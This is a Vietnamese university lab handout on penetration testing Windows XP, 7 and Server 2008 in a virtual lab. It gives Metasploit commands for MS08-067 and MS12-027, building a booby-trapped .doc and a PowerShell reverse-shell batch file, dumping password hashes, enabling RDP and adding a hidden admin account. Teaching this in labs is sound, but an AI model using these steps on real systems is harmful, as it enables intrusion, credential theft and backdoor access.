You are on page 1of 27

HỌC VIỆN KỸ THUẬT MẬT MÃ

KHOA AN TOÀN THÔNG TIN


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

THỰC HÀNH

ĐÁNH GIÁ VÀ KIỂM ĐỊNH AN TOÀN HỆ THỐNG


THÔNG TIN

BÀI THỰC HÀNH SỐ 06

KIỂM THỬ AN TOÀN HỆ ĐIỀU HÀNH

Người xây dựng bài thực hành:


Phạm Minh Thuấn

HÀ NỘI, 2019
MỤC LỤC

Mục lục ................................................................................................................. 2


Phần 1. Thực hành kiểm thử an toàn hệ điều hành Windows XP ..................... 3
1.1. Mô hình thử nghiệm ........................................................................................ 3
1.2. Kiểm tra kết nối ............................................................................................... 3
1.3. Kiểm tra dịch vụ và điểm yếu .......................................................................... 4
1.3.1. Kiểm tra cổng mở và dịch vụ ................................................................ 4
1.3.2. Kiểm tra điểm yếu ................................................................................. 6
1.4. Khai thác điểm yếu .......................................................................................... 9

Phần 2. Thực hành kiểm thử an toàn hệ điều hành Windows 7 ...................... 13
2.1. Mô hình thử nghiệm ...................................................................................... 13
2.2. Kiểm tra kết nối ............................................................................................. 13
2.3. Kiểm tra dịch vụ và điểm yếu ........................................................................ 14
2.3.1. Kiểm tra cổng mở và dịch vụ .............................................................. 14
2.3.2. Kiểm tra điểm yếu ............................................................................... 14
2.4. Khai thác điểm yếu ........................................................................................ 15

Phần 3. Thực hành kiểm thử an toàn hệ điều hành Windows Server
2008 ..................................................................................................................... 19
3.1. Mô hình thử nghiệm ...................................................................................... 19
3.2. Kiểm tra kết nối ............................................................................................. 19
3.3. Kiểm tra dịch vụ và điểm yếu ........................................................................ 20
3.3.1. Kiểm tra cổng mở và dịch vụ .............................................................. 20
3.3.2. Kiểm tra điểm yếu ............................................................................... 20
3.4. Khai thác điểm yếu ........................................................................................ 21

-2-
PHẦN 1. THỰC HÀNH KIỂM THỬ AN TOÀN HỆ ĐIỀU HÀNH
WINDOWS XP
Windows XP là một dòng hệ điều hành do Microsoft sản xuất dành cho
các máy tính cá nhân chạy trên các bộ xử lý 32 bit. Mặc dù Microsoft đã ngừng hỗ
trợ cập nhật cho Windows XP từ năm 2014, song hệ điều hành này vẫn được nhiều
người sử dụng do tốc độ cũng như khả năng đáp ứng nhu cầu công việc của nó.
Trong bài thực hành này, sinh viên sẽ nắm được các phương pháp, cách thức
để kiểm thử an toàn cho một hệ điều hành; đồng thời thử nghiệm khai thác lên hệ
điều hành Windows XP để có các quyền kiểm soát hệ thống.

1.1. Mô hình thử nghiệm


Sinh viên cần chuẩn bị các máy ảo để xây dựng mô hình mạng theo sơ đồ
như sau:

VMNet 2
VMNet 2

Kali Linux Windows XP


192.168.17.128 192.168.17.137

Trong đó:
❖ Máy ảo 1 (Kali Linux):
- Cài đặt hệ điều hành Kali Linux
- Đặt địa chỉ IP: 192.168.17.128
- Điều chỉnh card mạng trên VMWare thành VMNet 2
❖ Máy ảo 2 (Windows XP):
- Cài đặt hệ điều hành Windows XP
- Đặt địa chỉ IP: 192.168.17.137
- Điều chỉnh card mạng trên VMWare thành VMNet 2

1.2. Kiểm tra kết nối


Tại máy Kali, vào Terminal
Tại cửa sổ Terminal thực hiện ping tới địa chỉ IP của máy Windows XP

-3-
Lưu ý các thông số Bytes, Time, TTL của lệnh ping
Ping ngược lại từ máy Windows XP vào Kali Linux và theo dõi kết quả.

1.3. Kiểm tra dịch vụ và điểm yếu

1.3.1. Kiểm tra cổng mở và dịch vụ


Tại máy Kali Linux, thực hiện kiểm tra dịch vụ và các cổng mở trên máy
Windows XP bằng cách sử dụng nmap
Vào Terminal, nhập cú pháp lệnh:
nmap –sT –p1-1024 –O –v 192.168.17.137
+ -sT: Sử dụng phương pháp TCP Connect Scan
+ -p1-1024: Quét danh sách các cổng từ 1 tới 1024
+ -O: Scan hệ điều hành
+ -v: Scan 2 lần để tăng tính chính xác
+ 192.168.17.137: Địa chỉ IP máy Windows XP

-4-
Kết quả thu được:

Từ kết quả trên có thể nhận thấy, tại máy có địa chỉ 192.168.17.137 đang mở
các cổng: 135, 139, 445. Dự đoán HĐH là Windows XP SP2 hoặc Windows
Server 2003

-5-
1.3.2. Kiểm tra điểm yếu
Tại máy Kali Linux, khởi động dịch vụ nessus bằng cách:
Vào Terminal, nhập: /etc/init.d/nessusd start

Click vào trình duyệt Web – Firefox và nhập vào địa chỉ:
https://localhost:8834

Lựa chọn “I Understand the Risks” -> Add Exception -> Confirm Security
Exception

Nhập username và password để truy cập vào Nessus

-6-
Xuất hiện giao diện quản trị của Nessus như sau:

Click vào “New Scan” để tạo 1 phiên scan mới.

Trong phần template, sử dụng tùy chọn “Advanced Scan”.


-7-
Nhập các thông tin cần thiết cho việc scan như bên dưới:
+ Target: địa chỉ IP cần đánh giá

Click vào Save để lưu lại thông số cấu hình và click vào Launch để bắt đầu
quá trình Scan

Sau khi kết thúc quá trình scan, theo dõi báo cáo kết quả:

Như vậy từ kết quả ta thấy đã phát hiện ra có 5 điểm yếu mức rất cao, 1
điểm yếu mức cao, 2 điểm yếu mức trung bình và 22 điểm yếu mức thấp.
Theo dõi cụ thể hơn về các điểm yếu:

-8-
5 điểm yếu mức rất cao tương ứng với các mã điểm yếu như: MS05-027,
MS06-040, MS08-067, … Tuy nhiên để khẳng định 1 cách chắc chắn về các điểm
yếu, ta sẽ thử tiến hành khai thác. Ở đây thử nghiệm khai thác với điểm yếu MS08-
067.

1.4. Khai thác điểm yếu


Trên máy Kali Linux, thực hiện khởi chạy công cụ Metasploits theo 1 trong
2 cách:
+ Vào Terminal, nhập lệnh msfconsole

+ Click vào Application -> Kali Linux -> Exploitation Tools ->
Metasploit -> metasploit framework

-9-
Tại giao diện metasploit, gõ: search ms08_067 để tìm cơ sở dữ liệu về điểm
yếu ms08_067 của HĐH Windows.

Tiến hành khai thác dựa trên kịch bản khai thác điểm yếu ms08_067 của
metasploits:
use exploit/windows/smb/ms08_067_netapi

- 10 -
+ set RHOST 192.168.17.137 (xác định địa chỉ IP của máy đích)
+ exploit (để bắt đầu thực hiện khai thác)

Như vậy là đã khai thác thành công, và đồng thời đã tạo được 1 phiên kết nối
tới máy đích.
Để thực hiện khai thác tiếp, tiến hành nhập các lệnh khai thác như sau:
+ ps: xem các tiến trình đang hoạt động trên máy đích

+ migrate 780: chuyển đến sử dụng tiến trình services.msc (780 là PID
của tiến trình services.msc, đây là PID đang chạy dưới quyền
SYSTEM của hệ thống)

+ getuid: xem thông tin về tài khoản đang sử dụng

+ getsystem: lấy quyền hệ thống

- 11 -
+ hashdump: lấy thông tin về file SAM trong hệ thống

+ shell: cho phép thực thi các câu lệnh trên hệ thống đích

+ Thử tạo 1 tài khoản trên hệ thống đích và đưa vào nhóm quản trị:

- 12 -
PHẦN 2. THỰC HÀNH KIỂM THỬ AN TOÀN HỆ ĐIỀU HÀNH
WINDOWS 7
Hệ điều hành Windows 7 phiên bản nâng cấp, cải tiến Windows XP và
Windows Vista, vì thế những điểm yếu tồn tại trên hệ điều hành Windows trước
gần như đã được cập nhật và sửa chữa. Song không phải vì thế mà hệ điều hành
Windows 7 đã đảm bảo được sự an toàn. Kẻ tấn công lại có thể dựa vào những
điểm yếu khác để thực hiện khai thác lên hệ điều hành này.
Trong bài thực hành này, sinh viên sẽ thử nghiệm kiểm thử độ an toàn của
hệ điều hành Windows 7 bằng cách thực hiện tấn công lên hệ thống và nâng đặc
quyền hệ thống.

2.1. Mô hình thử nghiệm


Sinh viên cần chuẩn bị các máy ảo để xây dựng mô hình mạng theo sơ đồ
như sau:

VMNet 2
VMNet 2

Kali Linux Windows 7


192.168.17.128 192.168.17.138

Trong đó:
❖ Máy ảo 1 (Kali Linux):
- Cài đặt hệ điều hành Kali Linux
- Đặt địa chỉ IP: 192.168.17.128
- Điều chỉnh card mạng trên VMWare thành VMNet 2
❖ Máy ảo 2 (Windows 7):
- Cài đặt hệ điều hành Windows 7
- Cài đặt phần mềm Microsoft Office 2007
- Đặt địa chỉ IP: 192.168.17.138
- Điều chỉnh card mạng trên VMWare thành VMNet 2

2.2. Kiểm tra kết nối


Thực hiện tương tự như bài thực hành trên: Từ máy Kali Linux truy cập vào
Terminal, thực hiện ping tới địa chỉ IP của máy Windows 7 và ngược lại

- 13 -
2.3. Kiểm tra dịch vụ và điểm yếu

2.3.1. Kiểm tra cổng mở và dịch vụ


Thực hiện hoàn toàn tương tự như bài thực hành trên: Từ máy Kali Linux
truy cập vào Terminal, thực hiện kiểm tra dịch vụ và các cổng mở trên máy bằng
cách sử dụng nmap với cú pháp lệnh:
nmap –sT –p1-1024 –O –v 192.168.17.138

Kết quả thu được:

2.3.2. Kiểm tra điểm yếu


Sử dụng công cụ nessus để kiểm tra điểm yếu trên máy Windows 7.

- 14 -
Sau khi kiểm tra sẽ phát hiện có nhiều điểm yếu mức độ cao, trong đó có
điểm yếu ms12_027. Ta sẽ thử khai thác điểm yếu này.

2.4. Khai thác điểm yếu


Khởi động metasploits và thực hiện tìm kiếm lỗ hổng trong database
metasploits

Sử dụng câu lệnh:


“use exploit/windows/fileformat/ms12_027_mscomctl_bof”
để vào khai thác lỗ hổng.

- 15 -
Chúng ta có thể xem thông tin về lỗ hổng và các thông số cần cấu hình về lỗ
hổng này với các câu lệnh như “info” và “show options”.
Lưu ý: Trong metasploits có nhiều payload để chúng ta khai thác lỗ hổng, vì
vậy nếu chúng ta không chọn một payload khai thác cụ thể thì chúng sẽ tự động
chọn payload trong database để khai thác.
Lựa chọn sử dụng payload để khai thác:
“set payload windows/meterpreter/reverse_tcp”.
Kiểm tra lại các thông số trước khi khai thác :

Tiến hành cài đặt cho các thông số như LHOST, FILENAME bằng các câu
lệnh sau:
“set LHOST 192.168.17.128”: địa chỉ ip máy kali
“set FILENAME baocao.doc”: tên file chúng ta muốn đặt
Kiểm tra lại các thông số một lần nữa bằng câu lệnh “show options”

- 16 -
Tiến hành khai thác lỗ hổng bằng lệnh “exploits”

Copy file ‘baocao.doc’ ra ngoài desktop bằng câu lệnh : ‘cp


/root/.msf4/local/baocao.doc /root/Desktop’ và gửi file tới máy Windows 7.
Khởi động metasploits và sử dụng các câu lệnh:
+ “use exploit/multi/handler
+ set PAYLOAD windows/meterpreter/reverse_tcp
+ set LHOST 192.168.17.128
+ set LPORT 4444
+ exploits ”

- 17 -
Tại máy Windows 7, tiến hành click vào file baocao.doc
Quay lại máy Kali Linux, ta sẽ nhận được thông báo đã mở 1 phiên kết nối
tới máy Windows 7.
Như vậy là đã tạo được 1 cửa hậu để thực hiện khai thác tới HĐH Windows
7. Các bước tiến hành thử nghiệm tiếp theo như bài thực hành trên.

- 18 -
PHẦN 3. THỰC HÀNH KIỂM THỬ AN TOÀN HỆ ĐIỀU HÀNH
WINDOWS SERVER 2008
Không chỉ các hệ điều hành cho client như Windows XP, Windows 7,
Windows 8, …. có tồn tại điểm yếu; ngay trong các hệ điều hành Windows Server
cũng tồn tại các điểm yếu mà kẻ tấn công hoàn toàn có thể lợi dụng để khai thác tới
hệ thống.
Trong bài thực hành này, sinh viên sẽ thử nghiệm kiểm thử độ an toàn của
hệ điều hành Windows Server 2008 bằng cách thực hiện kiểm tra các cổng, dịch vụ
sử dụng trên hệ thống đích và thử nghiệm tấn công lên hệ thống.

3.1. Mô hình thử nghiệm


Sinh viên cần chuẩn bị các máy ảo để xây dựng mô hình mạng theo sơ đồ
như sau:

VMNet 2

VMNet 2

Kali Linux
Windows Server 2008
192.168.17.128
192.168.17.129

Trong đó:
❖ Máy ảo 1 (Kali Linux):
- Cài đặt hệ điều hành Kali Linux
- Đặt địa chỉ IP: 192.168.17.128
- Điều chỉnh card mạng trên VMWare thành VMNet 2
❖ Máy ảo 2 (Windows Server 2008):
- Cài đặt hệ điều hành Windows Server 2008 SP2
- Đặt địa chỉ IP: 192.168.17.129
- Điều chỉnh card mạng trên VMWare thành VMNet 2

3.2. Kiểm tra kết nối


Thực hiện tương tự như bài thực hành trên: Từ máy Kali Linux truy cập vào
Terminal, thực hiện ping tới địa chỉ IP của máy Windows Server 2008 và ngược lại

- 19 -
3.3. Kiểm tra dịch vụ và điểm yếu

3.3.1. Kiểm tra cổng mở và dịch vụ


Thực hiện hoàn toàn tương tự như bài thực hành trên: Từ máy Kali Linux
truy cập vào Terminal, thực hiện kiểm tra dịch vụ và các cổng mở trên máy bằng
cách sử dụng nmap với cú pháp lệnh:
nmap –sT –p1-1024 –O –v 192.168.17.129

Kết quả thu được:

3.3.2. Kiểm tra điểm yếu


Sử dụng công cụ nessus để kiểm tra điểm yếu trên máy Windows Server
2008.

- 20 -
Kết quả thu được:

3.4. Khai thác điểm yếu


Hình thức tấn công là tạo ra 1 malware để tạo kết nối với Windows Server
2008 bằng cách sử dụng công cụ “Social Engineering Toolkit”. Khởi chạy công cụ
theo 1 trong 2 cách như sau:
+ Tại máy Kali Linux, mở Terminal và nhập lệnh: “setoolkit”

- 21 -
+ Click vào Appications -> Kali Linux -> Exploitation Tools -> Social
Engineering Toolkit -> setoolkit

Xuất hiện giao diện công cụ:

- 22 -
Tiến hành khai thác theo các bước:
+ Lựa chọn 1) Social-Engineering Attack

+ Chọn 9) Powershell Attack Vectors

- 23 -
+ Chọn 1) Powershell Alphanumeric Shellcode Injector

Nhập địa chỉ IP cho listerner: 192.168.17.128 (là địa chỉ IP của Kali
Linux)
Nhập cổng để nhận thông tin gửi về: 443

Nhập yes để bắt đầu lắng nghe

Chú ý đường dẫn chỉ tới malware được tạo ra ở hình trên là
“/root/.set/reports/powershell/x86_powershell_injection.txt”
Copy ra ngoài và đổi định dạng thành user.bat bằng câu lệnh:
“cp /root/.set/reports/powershell/x86_powershell_injection.txt
/root/Desktop/user.bat”.

- 24 -
Ra ngoài Desktop copy file User.bat và chuyển tới máy Windows Server
2008.
Chú ý: Khi chọn các thông số LHOST, LPORT xong xuất hiện dòng thông
báo hỏi chúng ta có muốn thực hiện exploits ngay không chúng ta chọn yes sẽ tự
động khởi động exploits ở chế độ “exploits/multi/handler”.
Ở đây chúng ta cần đặt lại các thông số cho nó là LHOST là địa chỉ ip của
máy kali linux bằng câu lệnh “set LHOST 192.168.17.128”

Tại máy Windows Server 2008, mở file user.bat


Chuyển sang máy Kali Linux, ta nhận thấy đã tạo được 1 phiên kết nối tới
Windows Server 2008:

Một vài trường hợp khi có session được gửi về nó không tự động chuyển về
chế độ meterpriter thì chúng ta có thể sử dụng câu lệnh “session” để kiểm tra
session:
- 25 -
Khi có sessions chúng ta thực hiện câu lệnh “sessions –i 1”, với “–i 1” là số
thứ tự của sessions, có thể có nhiều session chúng ta có thể chọn sessions nào cũng
được.
Sau khi vào được chế độ meterpreter, thử nghiệm một số câu lệnh khai thác
như:
+ sysinfo: xem thông tin hệ thống
+ screenshot: chụp ảnh màn hình
+ shell: vào chế độ command line của DOS

Thử mở cổng 3389 để cho phép thực hiện remote đến server bằng câu lệnh:
“reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server""
/v fDenyTSConnections /t REG_DWORD /d 0 /f”
Cho phép port 3389 đi qua firewall:
+ “netsh
+ “firewall”
+ “add portopening tcp 3389 "Remote Desktop" ”

- 26 -
Tạo 1 user và nâng quyền lên nhóm admin để có thể Remote Desktop đến
Server với câu lệnh sau:
+ “net user username password /add”
+ “net localgroup Administrators username /add”

Tiến hành remote desktop tới máy Windows Server:


Mở Terminal, nhập lệnh “rdesktop 192.168.17.129”.

- 27 -

You might also like